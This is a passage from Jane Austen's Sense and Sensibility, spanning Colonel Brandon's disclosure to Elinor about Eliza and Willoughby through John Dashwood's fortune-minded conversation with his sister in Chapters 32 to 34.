of her situation, for she experienced +great unkindness, overcame all her resolution, and though +she had promised me that nothing--but how blindly I +relate! I have never told you how this was brought on. +We were within a few hours of eloping together for Scotland. +The treachery, or the folly, of my cousin's maid betrayed us. +I was banished to the house of a relation far distant, +and she was allowed no liberty, no society, no amusement, +till my father's point was gained. I had depended on her +fortitude too far, and the blow was a severe one-- +but had her marriage been happy, so young as I then was, +a few months must have reconciled me to it, or at least +I should not have now to lament it. This however +was not the case. My brother had no regard for her; +his pleasures were not what they ought to have been, +and from the first he treated her unkindly. The consequence +of this, upon a mind so young, so lively, so inexperienced +as Mrs. Brandon's, was but too natural. She resigned +herself at first to all the misery of her situation; +and happy had it been if she had not lived to overcome those +regrets which the remembrance of me occasioned. But can we +wonder that, with such a husband to provoke inconstancy, +and without a friend to advise or restrain her (for +my father lived only a few months after their marriage, +and I was with my regiment in the East Indies) she +should fall? Had I remained in England, perhaps--but I +meant to promote the happiness of both by removing +from her for years, and for that purpose had procured +my exchange. The shock which her marriage had given me," +he continued, in a voice of great agitation, "was of +trifling weight--was nothing to what I felt when I heard, +about two years afterwards, of her divorce. It was +THAT which threw this gloom,--even now the recollection +of what I suffered--" + +He could say no more, and rising hastily walked for a few +minutes about the room. Elinor, affected by his relation, +and still more by his distress, could not speak. He saw +her concern, and coming to her, took her hand, pressed it, +and kissed it with grateful respect. A few minutes more +of silent exertion enabled him to proceed with composure. + +"It was nearly three years after this unhappy +period before I returned to England. My first care, +when I DID arrive, was of course to seek for her; +but the search was as fruitless as it was melancholy. +I could not trace her beyond her first seducer, and there +was every reason to fear that she had removed from him +only to sink deeper in a life of sin. Her legal allowance +was not adequate to her fortune, nor sufficient for her +comfortable maintenance, and I learnt from my brother that +the power of receiving it had been made over some months +before to another person. He imagined, and calmly could he +imagine it, that her extravagance, and consequent distress, +had obliged her to dispose of it for some immediate relief. +At last, however, and after I had been six months in England, +I DID find her. Regard for a former servant of my own, +who had since fallen into misfortune, carried me to visit +him in a spunging-house, where he was confined for debt; +and there, the same house, under a similar confinement, +was my unfortunate sister. So altered--so faded--worn +down by acute suffering of every kind! hardly could I +believe the melancholy and sickly figure before me, +to be the remains of the lovely, blooming, healthful girl, +on whom I had once doted. What I endured in so beholding +her--but I have no right to wound your feelings by attempting +to describe it--I have pained you too much already. +That she was, to all appearance, in the last stage +of a consumption, was--yes, in such a situation it was +my greatest comfort. Life could do nothing for her, +beyond giving time for a better preparation for death; +and that was given. I saw her placed in comfortable lodgings, +and under proper attendants; I visited her every day +during the rest of her short life: I was with her in her +last moments." + +Again he stopped to recover himself; and Elinor +spoke her feelings in an exclamation of tender concern, +at the fate of his unfortunate friend. + +"Your sister, I hope, cannot be offended," said he, +"by the resemblance I have fancied between her and my +poor disgraced relation. Their fates, their fortunes, +cannot be the same; and had the natural sweet +disposition of the one been guarded by a firmer mind, +or a happier marriage, she might have been all that you +will live to see the other be. But to what does all this +lead? I seem to have been distressing you for nothing. +Ah! Miss Dashwood--a subject such as this--untouched +for fourteen years--it is dangerous to handle it at all! +I WILL be more collected--more concise. She left to my care +her only child, a little girl, the offspring of her first +guilty connection, who was then about three years old. +She loved the child, and had always kept it with her. +It was a valued, a precious trust to me; and gladly +would I have discharged it in the strictest sense, +by watching over her education myself, had the nature +of our situations allowed it; but I had no family, no home; +and my little Eliza was therefore placed at school. +I saw her there whenever I could, and after the death of my +brother, (which happened about five years ago, and which +left to me the possession of the family property,) she +visited me at Delaford. I called her a distant relation; +but I am well aware that I have in general been suspected +of a much nearer connection with her. It is now three +years ago (she had just reached her fourteenth year,) +that I removed her from school, to place her under the care +of a very respectable woman, residing in Dorsetshire, +who had the charge of four or five other girls of about +the same time of life; and for two years I had every reason +to be pleased with her situation. But last February, +almost a twelvemonth back, she suddenly disappeared. +I had allowed her, (imprudently, as it has since turned +out,) at her earnest desire, to go to Bath with one of +her young friends, who was attending her father there +for his health. I knew him to be a very good sort of man, +and I thought well of his daughter--better than she deserved, +for, with a most obstinate and ill-judged secrecy, +she would tell nothing, would give no clue, though she +certainly knew all. He, her father, a well-meaning, +but not a quick-sighted man, could really, I believe, +give no information; for he had been generally confined +to the house, while the girls were ranging over the town +and making what acquaintance they chose; and he tried +to convince me, as thoroughly as he was convinced himself, +of his daughter's being entirely unconcerned in the business. +In short, I could learn nothing but that she was gone; +all the rest, for eight long months, was left to conjecture. +What I thought, what I feared, may be imagined; and what I +suffered too." + +"Good heavens!" cried Elinor, "could it be--could +Willoughby!"-- + +"The first news that reached me of her," he continued, +"came in a letter from herself, last October. +It was forwarded to me from Delaford, and I received it +on the very morning of our intended party to Whitwell; +and this was the reason of my leaving Barton so suddenly, +which I am sure must at the time have appeared strange +to every body, and which I believe gave offence to some. +Little did Mr. Willoughby imagine, I suppose, when his +looks censured me for incivility in breaking up the party, +that I was called away to the relief of one whom he +had made poor and miserable; but HAD he known it, +what would it have availed? Would he have been less +gay or less happy in the smiles of your sister? No, +he had already done that, which no man who CAN feel +for another would do. He had left the girl whose +youth and innocence he had seduced, in a situation of +the utmost distress, with no creditable home, no help, +no friends, ignorant of his address! He had left her, +promising to return; he neither returned, nor wrote, +nor relieved her." + +"This is beyond every thing!" exclaimed Elinor. + +"His character is now before you; expensive, dissipated, +and worse than both. Knowing all this, as I have now +known it many weeks, guess what I must have felt on seeing +your sister as fond of him as ever, and on being assured +that she was to marry him: guess what I must have felt +for all your sakes. When I came to you last week and +found you alone, I came determined to know the truth; +though irresolute what to do when it WAS known. +My behaviour must have seemed strange to you then; +but now you will comprehend it. To suffer you all to be +so deceived; to see your sister--but what could I do? +I had no hope of interfering with success; and sometimes +I thought your sister's influence might yet reclaim him. +But now, after such dishonorable usage, who can tell what +were his designs on her. Whatever they may have been, +however, she may now, and hereafter doubtless WILL +turn with gratitude towards her own condition, when she +compares it with that of my poor Eliza, when she considers +the wretched and hopeless situation of this poor girl, +and pictures her to herself, with an affection for him so strong, +still as strong as her own, and with a mind tormented +by self-reproach, which must attend her through life. +Surely this comparison must have its use with her. +She will feel her own sufferings to be nothing. They +proceed from no misconduct, and can bring no disgrace. +On the contrary, every friend must be made still more +her friend by them. Concern for her unhappiness, +and respect for her fortitude under it, must strengthen +every attachment. Use your own discretion, however, +in communicating to her what I have told you. You must +know best what will be its effect; but had I not seriously, +and from my heart believed it might be of service, +might lessen her regrets, I would not have suffered +myself to trouble you with this account of my family +afflictions, with a recital which may seem to have been +intended to raise myself at the expense of others." + +Elinor's thanks followed this speech with grateful +earnestness; attended too with the assurance of her +expecting material advantage to Marianne, from the +communication of what had passed. + +"I have been more pained," said she, "by her +endeavors to acquit him than by all the rest; for it +irritates her mind more than the most perfect conviction +of his unworthiness can do. Now, though at first she +will suffer much, I am sure she will soon become easier. +Have you," she continued, after a short silence, +"ever seen Mr. Willoughby since you left him at Barton?" + +"Yes," he replied gravely, "once I have. One meeting +was unavoidable." + +Elinor, startled by his manner, looked at him anxiously, +saying, + +"What? have you met him to--" + +"I could meet him no other way. Eliza had confessed +to me, though most reluctantly, the name of her lover; +and when he returned to town, which was within a fortnight +after myself, we met by appointment, he to defend, +I to punish his conduct. We returned unwounded, +and the meeting, therefore, never got abroad." + +Elinor sighed over the fancied necessity of this; +but to a man and a soldier she presumed not to censure it. + +"Such," said Colonel Brandon, after a pause, +"has been the unhappy resemblance between the fate of mother +and daughter! and so imperfectly have I discharged my trust!" + +"Is she still in town?" + +"No; as soon as she recovered from her lying-in, +for I found her near her delivery, I removed her and her +child into the country, and there she remains." + +Recollecting, soon afterwards, that he was probably +dividing Elinor from her sister, he put an end to his visit, +receiving from her again the same grateful acknowledgments, +and leaving her full of compassion and esteem for him. + + + +CHAPTER 32 + + +When the particulars of this conversation were repeated +by Miss Dashwood to her sister, as they very soon were, +the effect on her was not entirely such as the former +had hoped to see. Not that Marianne appeared to distrust +the truth of any part of it, for she listened to it all +with the most steady and submissive attention, made neither +objection nor remark, attempted no vindication of Willoughby, +and seemed to shew by her tears that she felt it to +be impossible. But though this behaviour assured Elinor +that the conviction of this guilt WAS carried home to +her mind, though she saw with satisfaction the effect of it, +in her no longer avoiding Colonel Brandon when he called, +in her speaking to him, even voluntarily speaking, +with a kind of compassionate respect, and though she +saw her spirits less violently irritated than before, +she did not see her less wretched. Her mind did become +settled, but it was settled in a gloomy dejection. +She felt the loss of Willoughby's character yet more heavily +than she had felt the loss of his heart; his seduction and +desertion of Miss Williams, the misery of that poor girl, +and the doubt of what his designs might ONCE have been +on herself, preyed altogether so much on her spirits, +that she could not bring herself to speak of what she felt +even to Elinor; and, brooding over her sorrows in silence, +gave more pain to her sister than could have been communicated +by the most open and most frequent confession of them. + +To give the feelings or the language of Mrs. Dashwood +on receiving and answering Elinor's letter would be only +to give a repetition of what her daughters had already felt +and said; of a disappointment hardly less painful than +Marianne's, and an indignation even greater than Elinor's. +Long letters from her, quickly succeeding each other, +arrived to tell all that she suffered and thought; +to express her anxious solicitude for Marianne, and entreat +she would bear up with fortitude under this misfortune. +Bad indeed must the nature of Marianne's affliction be, +when her mother could talk of fortitude! mortifying +and humiliating must be the origin of those regrets, +which SHE could wish her not to indulge! + +Against the interest of her own individual comfort, +Mrs. Dashwood had determined that it would be better for +Marianne to be any where, at that time, than at Barton, +where every thing within her view would be bringing back +the past in the strongest and most afflicting manner, +by constantly placing Willoughby before her, such as +she had always seen him there. She recommended it to +her daughters, therefore, by all means not to shorten their +visit to Mrs. Jennings; the length of which, though never +exactly fixed, had been expected by all to comprise at least +five or six weeks. A variety of occupations, of objects, +and of company, which could not be procured at Barton, +would be inevitable there, and might yet, she hoped, +cheat Marianne, at times, into some interest beyond herself, +and even into some amusement, much as the ideas of both +might now be spurned by her. + +From all danger of seeing Willoughby again, +her mother considered her to be at least equally safe +in town as in the country, since his acquaintance must +now be dropped by all who called themselves her friends. +Design could never bring them in each other's way: +negligence could never leave them exposed to a surprise; +and chance had less in its favour in the crowd of London +than even in the retirement of Barton, where it might +force him before her while paying that visit at Allenham +on his marriage, which Mrs. Dashwood, from foreseeing at +first as a probable event, had brought herself to expect +as a certain one. + +She had yet another reason for wishing her children +to remain where they were; a letter from her son-in-law +had told her that he and his wife were to be in town +before the middle of February, and she judged it right +that they should sometimes see their brother. + +Marianne had promised to be guided by her mother's opinion, +and she submitted to it therefore without opposition, +though it proved perfectly different from what she wished +and expected, though she felt it to be entirely wrong, +formed on mistaken grounds, and that by requiring her +longer continuance in London it deprived her of the only +possible alleviation of her wretchedness, the personal +sympathy of her mother, and doomed her to such society and +such scenes as must prevent her ever knowing a moment's rest. + +But it was a matter of great consolation to her, +that what brought evil to herself would bring good to +her sister; and Elinor, on the other hand, suspecting that +it would not be in her power to avoid Edward entirely, +comforted herself by thinking, that though their longer +stay would therefore militate against her own happiness, +it would be better for Marianne than an immediate return +into Devonshire. + +Her carefulness in guarding her sister from ever +hearing Willoughby's name mentioned, was not thrown away. +Marianne, though without knowing it herself, reaped all +its advantage; for neither Mrs. Jennings, nor Sir John, +nor even Mrs. Palmer herself, ever spoke of him before her. +Elinor wished that the same forbearance could have extended +towards herself, but that was impossible, and she was +obliged to listen day after day to the indignation of them all. + +Sir John, could not have thought it possible. +"A man of whom he had always had such reason to think well! +Such a good-natured fellow! He did not believe there was a +bolder rider in England! It was an unaccountable business. +He wished him at the devil with all his heart. He would +not speak another word to him, meet him where he might, +for all the world! No, not if it were to be by the side +of Barton covert, and they were kept watching for two +hours together. Such a scoundrel of a fellow! such +a deceitful dog! It was only the last time they met +that he had offered him one of Folly's puppies! and this +was the end of it!" + +Mrs. Palmer, in her way, was equally angry. +"She was determined to drop his acquaintance immediately, +and she was very thankful that she had never been acquainted +with him at all. She wished with all her heart Combe +Magna was not so near Cleveland; but it did not signify, +for it was a great deal too far off to visit; she hated +him so much that she was resolved never to mention +his name again, and she should tell everybody she saw, +how good-for-nothing he was." + +The rest of Mrs. Palmer's sympathy was shewn in procuring +all the particulars in her power of the approaching marriage, +and communicating them to Elinor. She could soon tell +at what coachmaker's the new carriage was building, +by what painter Mr. Willoughby's portrait was drawn, +and at what warehouse Miss Grey's clothes might be seen. + +The calm and polite unconcern of Lady Middleton +on the occasion was a happy relief to Elinor's spirits, +oppressed as they often were by the clamorous kindness +of the others. It was a great comfort to her to be sure +of exciting no interest in ONE person at least among their +circle of friends: a great comfort to know that there +was ONE who would meet her without feeling any curiosity +after particulars, or any anxiety for her sister's health. + +Every qualification is raised at times, by the +circumstances of the moment, to more than its real value; +and she was sometimes worried down by officious condolence +to rate good-breeding as more indispensable to comfort +than good-nature. + +Lady Middleton expressed her sense of the affair +about once every day, or twice, if the subject occurred +very often, by saying, "It is very shocking, indeed!" +and by the means of this continual though gentle vent, +was able not only to see the Miss Dashwoods from the +first without the smallest emotion, but very soon +to see them without recollecting a word of the matter; +and having thus supported the dignity of her own sex, +and spoken her decided censure of what was wrong +in the other, she thought herself at liberty to attend +to the interest of her own assemblies, and therefore +determined (though rather against the opinion of Sir John) +that as Mrs. Willoughby would at once be a woman of elegance +and fortune, to leave her card with her as soon as she married. + +Colonel Brandon's delicate, unobtrusive enquiries +were never unwelcome to Miss Dashwood. He had abundantly +earned the privilege of intimate discussion of her +sister's disappointment, by the friendly zeal with +which he had endeavoured to soften it, and they always +conversed with confidence. His chief reward for the +painful exertion of disclosing past sorrows and present +humiliations, was given in the pitying eye with which +Marianne sometimes observed him, and the gentleness +of her voice whenever (though it did not often happen) +she was obliged, or could oblige herself to speak to him. +THESE assured him that his exertion had produced an +increase of good-will towards himself, and THESE gave +Elinor hopes of its being farther augmented hereafter; +but Mrs. Jennings, who knew nothing of all this, who knew +only that the Colonel continued as grave as ever, and that +she could neither prevail on him to make the offer himself, +nor commission her to make it for him, began, at the +end of two days, to think that, instead of Midsummer, +they would not be married till Michaelmas, and by the +end of a week that it would not be a match at all. +The good understanding between the Colonel and Miss +Dashwood seemed rather to declare that the honours +of the mulberry-tree, the canal, and the yew arbour, +would all be made over to HER; and Mrs. Jennings had, +for some time ceased to think at all of Mrs. Ferrars. + +Early in February, within a fortnight from the +receipt of Willoughby's letter, Elinor had the painful +office of informing her sister that he was married. +She had taken care to have the intelligence conveyed +to herself, as soon as it was known that the ceremony +was over, as she was desirous that Marianne should not +receive the first notice of it from the public papers, +which she saw her eagerly examining every morning. + +She received the news with resolute composure; +made no observation on it, and at first shed no tears; +but after a short time they would burst out, and for the +rest of the day, she was in a state hardly less pitiable +than when she first learnt to expect the event. + +The Willoughbys left town as soon as they were married; +and Elinor now hoped, as there could be no danger +of her seeing either of them, to prevail on her sister, +who had never yet left the house since the blow first fell, +to go out again by degrees as she had done before. + +About this time the two Miss Steeles, lately arrived +at their cousin's house in Bartlett's Buildings, +Holburn, presented themselves again before their more +grand relations in Conduit and Berkeley Streets; +and were welcomed by them all with great cordiality. + +Elinor only was sorry to see them. Their presence +always gave her pain, and she hardly knew how to make +a very gracious return to the overpowering delight of Lucy +in finding her STILL in town. + +"I should have been quite disappointed if I had not +found you here STILL," said she repeatedly, with a strong +emphasis on the word. "But I always thought I SHOULD. +I was almost sure you would not leave London yet awhile; +though you TOLD me, you know, at Barton, that you should +not stay above a MONTH. But I thought, at the time, +that you would most likely change your mind when it came +to the point. It would have been such a great pity +to have went away before your brother and sister came. +And now to be sure you will be in no hurry to be gone. +I am amazingly glad you did not keep to YOUR WORD." + +Elinor perfectly understood her, and was forced +to use all her self-command to make it appear that she +did NOT. + +"Well, my dear," said Mrs. Jennings, "and how did +you travel?" + +"Not in the stage, I assure you," replied Miss Steele, +with quick exultation; "we came post all the way, and had +a very smart beau to attend us. Dr. Davies was coming +to town, and so we thought we'd join him in a post-chaise; +and he behaved very genteelly, and paid ten or twelve +shillings more than we did." + +"Oh, oh!" cried Mrs. Jennings; "very pretty, +indeed! and the Doctor is a single man, I warrant you." + +"There now," said Miss Steele, affectedly simpering, +"everybody laughs at me so about the Doctor, and I +cannot think why. My cousins say they are sure I have +made a conquest; but for my part I declare I never think +about him from one hour's end to another. 'Lord! here +comes your beau, Nancy,' my cousin said t'other day, +when she saw him crossing the street to the house. +My beau, indeed! said I--I cannot think who you mean. +The Doctor is no beau of mine." + +"Aye, aye, that is very pretty talking--but it won't do-- +the Doctor is the man, I see." + +"No, indeed!" replied her cousin, with affected earnestness, +"and I beg you will contradict it, if you ever hear it talked +of." + +Mrs. Jennings directly gave her the gratifying +assurance that she certainly would NOT, and Miss Steele +was made completely happy. + +"I suppose you will go and stay with your brother +and sister, Miss Dashwood, when they come to town," +said Lucy, returning, after a cessation of hostile hints, +to the charge. + +"No, I do not think we shall." + +"Oh, yes, I dare say you will." + +Elinor would not humour her by farther opposition. + +"What a charming thing it is that Mrs. Dashwood can +spare you both for so long a time together!" + +"Long a time, indeed!" interposed Mrs. Jennings. +"Why, their visit is but just begun!" + +Lucy was silenced. + +"I am sorry we cannot see your sister, Miss Dashwood," +said Miss Steele. "I am sorry she is not well--" +for Marianne had left the room on their arrival. + +"You are very good. My sister will be equally +sorry to miss the pleasure of seeing you; but she has +been very much plagued lately with nervous head-aches, +which make her unfit for company or conversation." + +"Oh, dear, that is a great pity! but such old +friends as Lucy and me!--I think she might see US; +and I am sure we would not speak a word." + +Elinor, with great civility, declined the proposal. +Her sister was perhaps laid down upon the bed, or in her +dressing gown, and therefore not able to come to them. + +"Oh, if that's all," cried Miss Steele, "we can +just as well go and see HER." + +Elinor began to find this impertinence too much for +her temper; but she was saved the trouble of checking it, +by Lucy's sharp reprimand, which now, as on many occasions, +though it did not give much sweetness to the manners +of one sister, was of advantage in governing those of +the other. + + + +CHAPTER 33 + + +After some opposition, Marianne yielded to her +sister's entreaties, and consented to go out with her +and Mrs. Jennings one morning for half an hour. She +expressly conditioned, however, for paying no visits, +and would do no more than accompany them to Gray's in +Sackville Street, where Elinor was carrying on a negotiation +for the exchange of a few old-fashioned jewels of her mother. + +When they stopped at the door, Mrs. Jennings recollected +that there was a lady at the other end of the street +on whom she ought to call; and as she had no business +at Gray's, it was resolved, that while her young friends +transacted their's, she should pay her visit and +return for them. + +On ascending the stairs, the Miss Dashwoods found +so many people before them in the room, that there was +not a person at liberty to tend to their orders; and they +were obliged to wait. All that could be done was, to sit +down at that end of the counter which seemed to promise the +quickest succession; one gentleman only was standing there, +and it is probable that Elinor was not without hope +of exciting his politeness to a quicker despatch. +But the correctness of his eye, and the delicacy +of his taste, proved to be beyond his politeness. +He was giving orders for a toothpick-case for himself, +and till its size, shape, and ornaments were determined, +all of which, after examining and debating for a quarter +of an hour over every toothpick-case in the shop, +were finally arranged by his own inventive fancy, he had +no leisure to bestow any other attention on the two ladies, +than what was comprised in three or four very broad stares; +a kind of notice which served to imprint on Elinor +the remembrance of a person and face, of strong, +natural, sterling insignificance, though adorned in +the first style of fashion. + +Marianne was spared from the troublesome feelings +of contempt and resentment, on this impertinent examination +of their features, and on the puppyism of his manner +in deciding on all the different horrors of the different +toothpick-cases presented to his inspection, by remaining +unconscious of it all; for she was as well able to collect +her thoughts within herself, and be as ignorant of what was +passing around her, in Mr. Gray's shop, as in her own bedroom. + +At last the affair was decided. The ivory, +the gold, and the pearls, all received their appointment, +and the gentleman having named the last day on which his +existence could be continued without the possession of the +toothpick-case, drew on his gloves with leisurely care, +and bestowing another glance on the Miss Dashwoods, but such +a one as seemed rather to demand than express admiration, +walked off with a happy air of real conceit and affected +indifference. + +Elinor lost no time in bringing her business forward, +was on the point of concluding it, when another gentleman +presented himself at her side. She turned her eyes towards +his face, and found him with some surprise to be her brother. + +Their affection and pleasure in meeting was just enough +to make a very creditable appearance in Mr. Gray's shop. +John Dashwood was really far from being sorry to see +his sisters again; it rather gave them satisfaction; +and his inquiries after their mother were respectful +and attentive. + +Elinor found that he and Fanny had been in town +two days. + +"I wished very much to call upon you yesterday," +said he, "but it was impossible, for we were obliged +to take Harry to see the wild beasts at Exeter Exchange; +and we spent the rest of the day with Mrs. Ferrars. +Harry was vastly pleased. THIS morning I had fully intended +to call on you, if I could possibly find a spare half hour, +but one has always so much to do on first coming to town. +I am come here to bespeak Fanny a seal. But tomorrow I +think I shall certainly be able to call in Berkeley Street, +and be introduced to your friend Mrs. Jennings. +I understand she is a woman of very good fortune. +And the Middletons too, you must introduce me to THEM. +As my mother-in-law's relations, I shall be happy to show +them every respect. They are excellent neighbours to you in +the country, I understand." + +"Excellent indeed. Their attention to our comfort, +their friendliness in every particular, is more than I +can express." + +"I am extremely glad to hear it, upon my word; +extremely glad indeed. But so it ought to be; they are +people of large fortune, they are related to you, and +every civility and accommodation that can serve to make +your situation pleasant might be reasonably expected. +And so you are most comfortably settled in your little cottage +and want for nothing! Edward brought us a most charming +account of the place: the most complete thing of its kind, +he said, that ever was, and you all seemed to enjoy it beyond +any thing. It was a great satisfaction to us to hear it, +I assure you." + +Elinor did feel a little ashamed of her brother; +and was not sorry to be spared the necessity of answering him, +by the arrival of Mrs. Jennings's servant, who came to tell +her that his mistress waited for them at the door. + +Mr. Dashwood attended them down stairs, was introduced +to Mrs. Jennings at the door of her carriage, and repeating +his hope of being able to call on them the next day, +took leave. + +His visit was duly paid. He came with a pretence at +an apology from their sister-in-law, for not coming too; +"but she was so much engaged with her mother, that really +she had no leisure for going any where." Mrs. Jennings, +however, assured him directly, that she should not stand +upon ceremony, for they were all cousins, or something +like it, and she should certainly wait on Mrs. John +Dashwood very soon, and bring her sisters to see her. +His manners to THEM, though calm, were perfectly kind; +to Mrs. Jennings, most attentively civil; and on Colonel +Brandon's coming in soon after himself, he eyed him with a +curiosity which seemed to say, that he only wanted to know +him to be rich, to be equally civil to HIM. + +After staying with them half an hour, he asked +Elinor to walk with him to Conduit Street, and introduce +him to Sir John and Lady Middleton. The weather was +remarkably fine, and she readily consented. As soon +as they were out of the house, his enquiries began. + +"Who is Colonel Brandon? Is he a man of fortune?" + +"Yes; he has very good property in Dorsetshire." + +"I am glad of it. He seems a most gentlemanlike man; +and I think, Elinor, I may congratulate you on the prospect +of a very respectable establishment in life." + +"Me, brother! what do you mean?" + +"He likes you. I observed him narrowly, and am +convinced of it. What is the amount of his fortune?" + +"I believe about two thousand a year." + +"Two thousand a-year;" and then working himself +up to a pitch of enthusiastic generosity, he added, +"Elinor, I wish with all my heart it were TWICE as much, +for your sake." + +"Indeed I believe you," replied Elinor; "but I am +very sure that Colonel Brandon has not the smallest wish +of marrying ME." + +"You are mistaken, Elinor; you are very much mistaken. +A very little trouble on your side secures him. +Perhaps just at present he may be undecided; the smallness +of your fortune may make him hang back; his friends +may all advise him against it. But some of those little +attentions and encouragements which ladies can so easily +give will fix him, in spite of himself. And there can be +no reason why you should not try for him. It is not to be +supposed that any prior attachment on your side--in short, +you know as to an attachment of that kind, it is quite +out of the question, the objections are insurmountable-- +you have too much sense not to see all that. Colonel Brandon +must be the man; and no civility shall be wanting on +my part to make him pleased with you and your family. +It is a match that must give universal satisfaction. +In short, it is a kind of thing that"--lowering his voice +to an important whisper--"will be exceedingly welcome +to ALL PARTIES." Recollecting himself, however, he added, +"That is, I mean to say--your friends are all truly +anxious to see you well settled; Fanny particularly, +for she has your interest very much at heart, I assure you. +And her mother too, Mrs. Ferrars, a very good-natured woman, +I am sure it would give her great pleasure; she said as much +the other day." + +Elinor would not vouchsafe any answer. + +"It would be something remarkable, now," he continued, +"something droll, if Fanny should have a brother and I +a sister settling at the same time. And yet it is not +very unlikely." + +"Is Mr. Edward Ferrars," said Elinor, with resolution, +"going to be married?" + +"It is not actually settled, but there is such +a thing in agitation. He has a most excellent mother. +Mrs. Ferrars, with the utmost liberality, will come forward, +and settle on him a thousand a year, if the match +takes place. The lady is the Hon. Miss Morton, only daughter +of the late Lord Morton, with thirty thousand pounds. +A very desirable connection on both sides, and I have not +a doubt of its taking place in time. A thousand a-year +is a great deal for a mother to give away, to make over +for ever; but Mrs. Ferrars has a noble spirit. To give +you another instance of her liberality:--The other day, +as soon as we came to town, aware that money could +not be very plenty with us just now, she put bank-notes +into Fanny's hands to the amount of two hundred pounds. +And extremely acceptable it is, for we must live at a great +expense while we are here." + +He paused for her assent and compassion; and she +forced herself to say, + +"Your expenses both in town and country must certainly +be considerable; but your income is a large one." + +"Not so large, I dare say, as many people suppose. +I do not mean to complain, however; it is undoubtedly +a comfortable one, and I hope will in time be better. +The enclosure of Norland Common, now carrying on, +is a most serious drain. And then I have made a little +purchase within this half year; East Kingham Farm, +you must remember the place, where old Gibson used to live. +The land was so very desirable for me in every respect, +so immediately adjoining my own property, that I felt it +my duty to buy it. I could not have answered it to my +conscience to let it fall into any other hands. A man must +pay for his convenience; and it HAS cost me a vast deal +of money." + +"More than you think it really and intrinsically worth." + +"Why, I hope not that. I might have sold it again, +the next day, for more than I gave: but, with regard to the +purchase-money, I might have been very unfortunate indeed; +for the stocks were at that time so low, that if I had not +happened to have the necessary sum in my banker's hands, +I must have sold out to very great loss." + +Elinor could only smile. + +"Other great and inevitable expenses too we have +had on first coming to Norland. Our respected father, +as you well know, bequeathed all the Stanhill effects +that remained at Norland (and very valuable they were) +to your mother. Far be it from me to repine at his +doing so; he had an undoubted right to dispose of his +own property as he chose, but, in consequence of it, +we have been obliged to make large purchases of linen, +china, &c. to supply the place of what was taken away. +You may guess, after all these expenses, how very far we +must be from being rich, and how acceptable Mrs. Ferrars's +kindness is." + +"Certainly," said Elinor; "and assisted by her liberality, +I hope you may yet live to be in easy circumstances." + +"Another year or two may do much towards it," +he gravely replied; "but however there is still a great +deal to be done. There is not a stone laid of Fanny's +green-house, and nothing but the plan of the flower-garden +marked out." + +"Where is the green-house to be?" + +"Upon the knoll behind the house. The old +walnut trees are all come down to make room for it. +It will be a very fine object from many parts of the park, +and the flower-garden will slope down just before it, +and be exceedingly pretty. We have cleared away all the old +thorns that grew in patches over the brow." + +Elinor kept her concern and her censure to herself; +and was very thankful that Marianne was not present, +to share the provocation. + +Having now said enough to make his poverty clear, +and to do away the necessity of buying a pair of ear-rings +for each of his sisters, in his next visit at Gray's +his thoughts took a cheerfuller turn, and he began to +congratulate Elinor on having such a friend as Mrs. Jennings. + +"She seems a most valuable woman indeed--Her house, +her style of living, all bespeak an exceeding good income; +and it is an acquaintance that has not only been +of great use to you hitherto, but in the end may prove +materially advantageous.--Her inviting you to town is +certainly a vast thing in your favour; and indeed, it +speaks altogether so great a regard for you, that in all +probability when she dies you will not be forgotten.-- +She must have a great deal to leave." + +"Nothing at all, I should rather suppose; for she has +only her jointure, which will descend to her children." + +"But it is not to be imagined that she lives up to +her income. Few people of common prudence will do THAT; +and whatever she saves, she will be able to dispose of." + +"And do you not think it more likely that she +should leave it to her daughters, than to us?" + +"Her daughters are both exceedingly well married, +and therefore I cannot perceive the necessity of her +remembering them farther. Whereas, in my opinion, by her +taking so much notice of you, and treating you in this +kind of way, she has given you a sort of claim on her +future consideration, which a conscientious woman would +not disregard. Nothing can be kinder than her behaviour; +and she can hardly do all this, without being aware +of the expectation it raises." + +"But she raises none in those most concerned. +Indeed, brother, your anxiety for our welfare and prosperity +carries you too far." + +"Why, to be sure," said he, seeming to recollect himself, +"people have little, have very little in their power. +But, my dear Elinor, what is the matter with Marianne?-- +she looks very unwell, has lost her colour, and is grown +quite thin. Is she ill?" + +"She is not well, she has had a nervous complaint +on her for several weeks." + +"I am sorry for that. At her time of life, +any thing of an illness destroys the bloom for ever! +Her's has been a very short one! She was as handsome a girl +last September, as I ever saw; and as likely to attract +the man. There was something in her style of beauty, +to please them particularly. I remember Fanny used to say +that she would marry sooner and better than you did; +not but what she is exceedingly fond of YOU, but so it +happened to strike her. She will be mistaken, however. +I question whether Marianne NOW, will marry a man worth +more than five or six hundred a-year, at the utmost, +and I am very much deceived if YOU do not do better. +Dorsetshire! I know very little of Dorsetshire; but, my dear +Elinor, I shall be exceedingly glad to know more of it; +and I think I can answer for your having Fanny and myself +among the earliest and best pleased of your visitors." + +Elinor tried very seriously to convince him that +there was no likelihood of her marrying Colonel Brandon; +but it was an expectation of too much pleasure to himself +to be relinquished, and he was really resolved on seeking +an intimacy with that gentleman, and promoting the marriage +by every possible attention. He had just compunction +enough for having done nothing for his sisters himself, +to be exceedingly anxious that everybody else should +do a great deal; and an offer from Colonel Brandon, +or a legacy from Mrs. Jennings, was the easiest means +of atoning for his own neglect. + +They were lucky enough to find Lady Middleton +at home, and Sir John came in before their visit ended. +Abundance of civilities passed on all sides. Sir John +was ready to like anybody, and though Mr. Dashwood did +not seem to know much about horses, he soon set him +down as a very good-natured fellow: while Lady Middleton +saw enough of fashion in his appearance to think his +acquaintance worth having; and Mr. Dashwood went away +delighted with both. + +"I shall have a charming account to carry +to Fanny," said he, as he walked back with his sister. +"Lady Middleton is really a most elegant woman! Such +a woman as I am sure Fanny will be glad to know. +And Mrs. Jennings too, an exceedingly well-behaved woman, +though not so elegant as her daughter. Your sister need +not have any scruple even of visiting HER, which, to say +the truth, has been a little the case, and very naturally; +for we only knew that Mrs. Jennings was the widow of a man +who had got all his money in a low way; and Fanny and +Mrs. Ferrars were both strongly prepossessed, that neither +she nor her daughters were such kind of women as Fanny +would like to associate with. But now I can carry her +a most satisfactory account of both." + + + +CHAPTER 34 + + +Mrs. John Dashwood had so much confidence in her +husband's judgment, that she waited the very next day +both on Mrs. Jennings and her daughter; and her +confidence was rewarded by finding even the former, +even the woman with whom her sisters were staying, +by no means unworthy her notice; and as for Lady Middleton, +she found her one of the most charming women in the world! + +Lady Middleton was equally pleased with Mrs. Dashwood. +There was a kind of cold hearted selfishness on both sides, +which mutually attracted them; and they sympathised +with each other in an insipid propriety of demeanor, +and a general want of understanding. + +The same manners, however, which recommended Mrs. John +Dashwood to the good opinion of Lady Middleton did not suit +the fancy of Mrs. Jennings, and to HER she appeared nothing +more than a little proud-looking woman of uncordial address, +who met her husband's sisters without any affection, +and almost without having anything to say 